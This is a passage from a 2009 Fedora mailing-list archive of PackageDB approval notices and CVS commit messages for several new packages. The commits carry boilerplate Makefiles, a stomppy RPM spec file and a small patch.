From pkgdb at fedoraproject.org  Sat Oct  3 21:21:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:21:13 +0000
Subject: [pkgdb] winwrangler was added for maxx
Message-ID: <20091003212113.B051210F88B@bastion2.fedora.phx.redhat.com>

kevin has added Package winwrangler with summary Small desktop daemon to perform advanced window manipulations
kevin has approved Package winwrangler
kevin has added a Fedora devel branch for winwrangler with an owner of maxx
kevin has approved winwrangler in Fedora devel
kevin has approved Package winwrangler
kevin has set commit to Approved for 107427 on winwrangler (Fedora devel)
kevin has set checkout to Approved for 107427 on winwrangler (Fedora devel)
kevin has set build to Approved for 107427 on winwrangler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/winwrangler



From pkgdb at fedoraproject.org  Sat Oct  3 21:21:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:21:15 +0000
Subject: [pkgdb] winwrangler (Fedora, 11) updated by kevin
Message-ID: <20091003212115.653D510F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for winwrangler
kevin has set commit to Approved for 107427 on winwrangler (Fedora 11)
kevin has set checkout to Approved for 107427 on winwrangler (Fedora 11)
kevin has set build to Approved for 107427 on winwrangler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/winwrangler



From pkgdb at fedoraproject.org  Sat Oct  3 21:21:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:21:15 +0000
Subject: [pkgdb] winwrangler (Fedora, 11) updated by kevin
Message-ID: <20091003212115.7615710F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for winwrangler
kevin has set commit to Approved for 107427 on winwrangler (Fedora 12)
kevin has set checkout to Approved for 107427 on winwrangler (Fedora 12)
kevin has set build to Approved for 107427 on winwrangler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/winwrangler



From kevin at fedoraproject.org  Sat Oct  3 21:21:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:21:51 +0000 (UTC)
Subject: rpms/winwrangler - New directory
Message-ID: <20091003212151.2F5FB11C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/winwrangler
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16631/rpms/winwrangler

Log Message:
Directory /cvs/pkgs/rpms/winwrangler added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:21:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:21:51 +0000 (UTC)
Subject: rpms/winwrangler/devel - New directory
Message-ID: <20091003212151.90DE211C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/winwrangler/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16631/rpms/winwrangler/devel

Log Message:
Directory /cvs/pkgs/rpms/winwrangler/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:22:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:07 +0000 (UTC)
Subject: rpms/winwrangler/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091003212207.E76DB11C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/winwrangler/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16631/rpms/winwrangler/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module winwrangler


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: winwrangler
# $Id: Makefile,v 1.1 2009/10/03 21:22:07 kevin Exp $
NAME := winwrangler
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct  3 21:22:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:22:25 +0000
Subject: [pkgdb] garmintools was added for fab
Message-ID: <20091003212225.21F0C10F800@bastion2.fedora.phx.redhat.com>

kevin has added Package garmintools with summary Communication tools for Garmin devices
kevin has approved Package garmintools
kevin has added a Fedora devel branch for garmintools with an owner of fab
kevin has approved garmintools in Fedora devel
kevin has approved Package garmintools
kevin has set commit to Approved for 107427 on garmintools (Fedora devel)
kevin has set checkout to Approved for 107427 on garmintools (Fedora devel)
kevin has set build to Approved for 107427 on garmintools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/garmintools



From pkgdb at fedoraproject.org  Sat Oct  3 21:22:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:22:27 +0000
Subject: [pkgdb] garmintools summary updated by kevin
Message-ID: <20091003212227.05BD210F889@bastion2.fedora.phx.redhat.com>

kevin set package garmintools summary to Communication tools for Garmin devices

To make changes to this package see:
  /pkgdb/packages/name/garmintools



From pkgdb at fedoraproject.org  Sat Oct  3 21:22:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:22:27 +0000
Subject: [pkgdb] garmintools (Fedora, 10) updated by kevin
Message-ID: <20091003212227.0FED110F890@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for garmintools
kevin has set commit to Approved for 107427 on garmintools (Fedora 11)
kevin has set checkout to Approved for 107427 on garmintools (Fedora 11)
kevin has set build to Approved for 107427 on garmintools (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/garmintools



From pkgdb at fedoraproject.org  Sat Oct  3 21:22:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:22:27 +0000
Subject: [pkgdb] garmintools (Fedora, 10) updated by kevin
Message-ID: <20091003212227.1CBA610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for garmintools
kevin has set commit to Approved for 107427 on garmintools (Fedora 10)
kevin has set checkout to Approved for 107427 on garmintools (Fedora 10)
kevin has set build to Approved for 107427 on garmintools (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/garmintools



From kevin at fedoraproject.org  Sat Oct  3 21:22:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:35 +0000 (UTC)
Subject: rpms/garmintools/devel - New directory
Message-ID: <20091003212235.3BABB11C0296@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/garmintools/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa17309/rpms/garmintools/devel

Log Message:
Directory /cvs/pkgs/rpms/garmintools/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:22:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:43 +0000 (UTC)
Subject: rpms/garmintools Makefile,NONE,1.1
Message-ID: <20091003212243.51B6911C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/garmintools
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa17309/rpms/garmintools

Added Files:
	Makefile 
Log Message:
Setup of module garmintools


--- NEW FILE Makefile ---
# Top level Makefile for module garmintools
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:45 +0000
Subject: [pkgdb] ncrack was added for smilner
Message-ID: <20091003212345.84A4910F800@bastion2.fedora.phx.redhat.com>

kevin has added Package ncrack with summary a high-speed network authentication cracking tool
kevin has approved Package ncrack
kevin has added a Fedora devel branch for ncrack with an owner of smilner
kevin has approved ncrack in Fedora devel
kevin has approved Package ncrack
kevin has set commit to Approved for 107427 on ncrack (Fedora devel)
kevin has set checkout to Approved for 107427 on ncrack (Fedora devel)
kevin has set build to Approved for 107427 on ncrack (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:47 +0000
Subject: [pkgdb] ncrack (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212347.6263510F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for ncrack
kevin has set commit to Approved for 107427 on ncrack (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on ncrack (Fedora EPEL 4)
kevin has set build to Approved for 107427 on ncrack (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From kevin at fedoraproject.org  Sat Oct  3 21:23:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:23:55 +0000 (UTC)
Subject: rpms/ncrack/devel - New directory
Message-ID: <20091003212355.407C711C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncrack/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsD18275/rpms/ncrack/devel

Log Message:
Directory /cvs/pkgs/rpms/ncrack/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:24:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:24:03 +0000 (UTC)
Subject: rpms/ncrack Makefile,NONE,1.1
Message-ID: <20091003212403.3AB1111C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncrack
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsD18275/rpms/ncrack

Added Files:
	Makefile 
Log Message:
Setup of module ncrack


--- NEW FILE Makefile ---
# Top level Makefile for module ncrack
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct  3 21:25:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:25:27 +0000
Subject: [pkgdb] alure was added for guidograzioli
Message-ID: <20091003212528.0774C10F800@bastion2.fedora.phx.redhat.com>

kevin has added Package alure with summary AL Utilities REtooled
kevin has approved Package alure
kevin has added a Fedora devel branch for alure with an owner of guidograzioli
kevin has approved alure in Fedora devel
kevin has approved Package alure
kevin has set commit to Approved for 107427 on alure (Fedora devel)
kevin has set checkout to Approved for 107427 on alure (Fedora devel)
kevin has set build to Approved for 107427 on alure (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/alure



From pkgdb at fedoraproject.org  Sat Oct  3 21:25:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:25:29 +0000
Subject: [pkgdb] alure (Fedora, 10) updated by kevin
Message-ID: <20091003212529.E2DF510F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for alure
kevin has set commit to Approved for 107427 on alure (Fedora 11)
kevin has set checkout to Approved for 107427 on alure (Fedora 11)
kevin has set build to Approved for 107427 on alure (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/alure



From pkgdb at fedoraproject.org  Sat Oct  3 21:25:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:25:29 +0000
Subject: [pkgdb] alure (Fedora, 10) updated by kevin
Message-ID: <20091003212529.E7DBD10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for alure
kevin has set commit to Approved for 107427 on alure (Fedora 10)
kevin has set checkout to Approved for 107427 on alure (Fedora 10)
kevin has set build to Approved for 107427 on alure (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/alure



From kevin at fedoraproject.org  Sat Oct  3 21:25:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:25:37 +0000 (UTC)
Subject: rpms/alure - New directory
Message-ID: <20091003212537.84F3011C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/alure
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF19015/rpms/alure

Log Message:
Directory /cvs/pkgs/rpms/alure added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:25:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:25:37 +0000 (UTC)
Subject: rpms/alure/devel - New directory
Message-ID: <20091003212537.C9D6311C0296@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/alure/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF19015/rpms/alure/devel

Log Message:
Directory /cvs/pkgs/rpms/alure/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:25:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:25:45 +0000 (UTC)
Subject: rpms/alure Makefile,NONE,1.1
Message-ID: <20091003212545.03E6211C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/alure
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF19015/rpms/alure

Added Files:
	Makefile 
Log Message:
Setup of module alure


--- NEW FILE Makefile ---
# Top level Makefile for module alure
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:27 +0000
Subject: [pkgdb] rubygem-trollop was added for hpejakle
Message-ID: <20091003212628.2D6B510F86A@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-trollop with summary A command-line option parsing library for ruby
kevin has approved Package rubygem-trollop
kevin has added a Fedora devel branch for rubygem-trollop with an owner of hpejakle
kevin has approved rubygem-trollop in Fedora devel
kevin has approved Package rubygem-trollop
kevin has set commit to Approved for 107427 on rubygem-trollop (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-trollop (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-trollop (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:29 +0000
Subject: [pkgdb] rubygem-trollop (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003212630.0594510F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for rubygem-trollop
kevin has set commit to Approved for 107427 on rubygem-trollop (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on rubygem-trollop (Fedora EPEL 5)
kevin has set build to Approved for 107427 on rubygem-trollop (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:29 +0000
Subject: [pkgdb] rubygem-trollop (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003212630.1039E10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-trollop
kevin has set commit to Approved for 107427 on rubygem-trollop (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-trollop (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-trollop (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:29 +0000
Subject: [pkgdb] rubygem-trollop (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003212630.2612510F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-trollop
kevin has set commit to Approved for 107427 on rubygem-trollop (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-trollop (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-trollop (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:29 +0000
Subject: [pkgdb] rubygem-trollop (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003212630.3488A10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for rubygem-trollop
kevin has set commit to Approved for 107427 on rubygem-trollop (Fedora 10)
kevin has set checkout to Approved for 107427 on rubygem-trollop (Fedora 10)
kevin has set build to Approved for 107427 on rubygem-trollop (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From kevin at fedoraproject.org  Sat Oct  3 21:26:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:26:37 +0000 (UTC)
Subject: rpms/rubygem-trollop/devel - New directory
Message-ID: <20091003212637.4303011C0299@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-trollop/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn19587/rpms/rubygem-trollop/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-trollop/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:26:44 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:26:44 +0000 (UTC)
Subject: rpms/rubygem-trollop Makefile,NONE,1.1
Message-ID: <20091003212644.0535611C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-trollop
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn19587/rpms/rubygem-trollop

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-trollop


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-trollop
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From stevetraylen at fedoraproject.org  Sat Oct  3 21:26:37 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sat,  3 Oct 2009 21:26:37 +0000 (UTC)
Subject: rpms/stomppy/devel import.log, NONE,
	1.1 stomppy-rm-bang-python.patch, 
	NONE, 1.1 stomppy.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091003212637.B0DCA11C00E5@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/stomppy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19607/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log stomppy-rm-bang-python.patch stomppy.spec 
Log Message:
Initial Import rhbz#526544


--- NEW FILE import.log ---
stomppy-2_0_4-1_fc11:HEAD:stomppy-2.0.4-1.fc11.src.rpm:1254605169

stomppy-rm-bang-python.patch:
 stomp.py |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE stomppy-rm-bang-python.patch ---
diff -uNr stomp.py-2.0.2.ORIG/stomp/stomp.py stomp.py-2.0.2/stomp/stomp.py
--- stomp.py-2.0.2.ORIG/stomp/stomp.py	2009-09-30 20:27:10.685618642 +0200
+++ stomp.py-2.0.2/stomp/stomp.py	2009-09-30 20:56:49.564606800 +0200
@@ -1,4 +1,3 @@
-#!/usr/bin/env python
 
 import math
 import random


--- NEW FILE stomppy.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           stomppy
Version:        2.0.4
Release:        1%{?dist}
Summary:        Python stomp client for messaging

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/stomppy/
Source0:        http://stomppy.googlecode.com/files/stomp.py-%{version}.tar.gz
Patch1:        %{name}-rm-bang-python.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-devel

%description
stomp.py is a Python client library for accessing messaging servers 
(such as ActiveMQ or JBoss Messaging) using the STOMP protocol. It can also
be run as a standalone, command-line client for testing.

%prep
%setup -q -n stomp.py-%{version}
%patch1 -p1
# Remove dos line feeds from tests.
%{__sed} -i 's/\r//' test/testlistener.py
%{__sed} -i 's/\r//' test/rabbitmq.py
%{__sed} -i 's/\r//' test/basic.py

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -rf $RPM_BUILD_ROOT%{python_sitelib}/test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{python_sitelib}/*
%doc test LICENSE

%changelog
* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.4-1
- Update to 2.0.4
  remove patch to allow building with out network.

* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-3
- Remove some dos line feeds

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-2
- Add patch to allow build without working network.

* Mon Sep 7 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-1
- Initial version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:17:46 -0000	1.1
+++ .cvsignore	3 Oct 2009 21:26:37 -0000	1.2
@@ -0,0 +1 @@
+stomp.py-2.0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:17:46 -0000	1.1
+++ sources	3 Oct 2009 21:26:37 -0000	1.2
@@ -0,0 +1 @@
+2cb207ffc52280bab5457523b90a8f11  stomp.py-2.0.4.tar.gz



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:18 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 was added for vcrhonek
Message-ID: <20091003212819.1302810F800@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-nfsv3 with summary Standards Based Linux Instrumentation Nfsv3 Providers
kevin has approved Package sblim-cmpi-nfsv3
kevin has added a Fedora devel branch for sblim-cmpi-nfsv3 with an owner of vcrhonek
kevin has approved sblim-cmpi-nfsv3 in Fedora devel
kevin has approved Package sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212820.EF64610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212820.E507610F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212821.0A75D10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212821.15F5F10F8B2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From kevin at fedoraproject.org  Sat Oct  3 21:28:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:28:43 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3 - New directory
Message-ID: <20091003212843.2FFD811C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE20498/rpms/sblim-cmpi-nfsv3

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-nfsv3 added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:29:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:29:31 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091003212931.26E4B11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE20498/rpms/sblim-cmpi-nfsv3/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-nfsv3


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-nfsv3
# $Id: Makefile,v 1.1 2009/10/03 21:29:27 kevin Exp $
NAME := sblim-cmpi-nfsv3
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
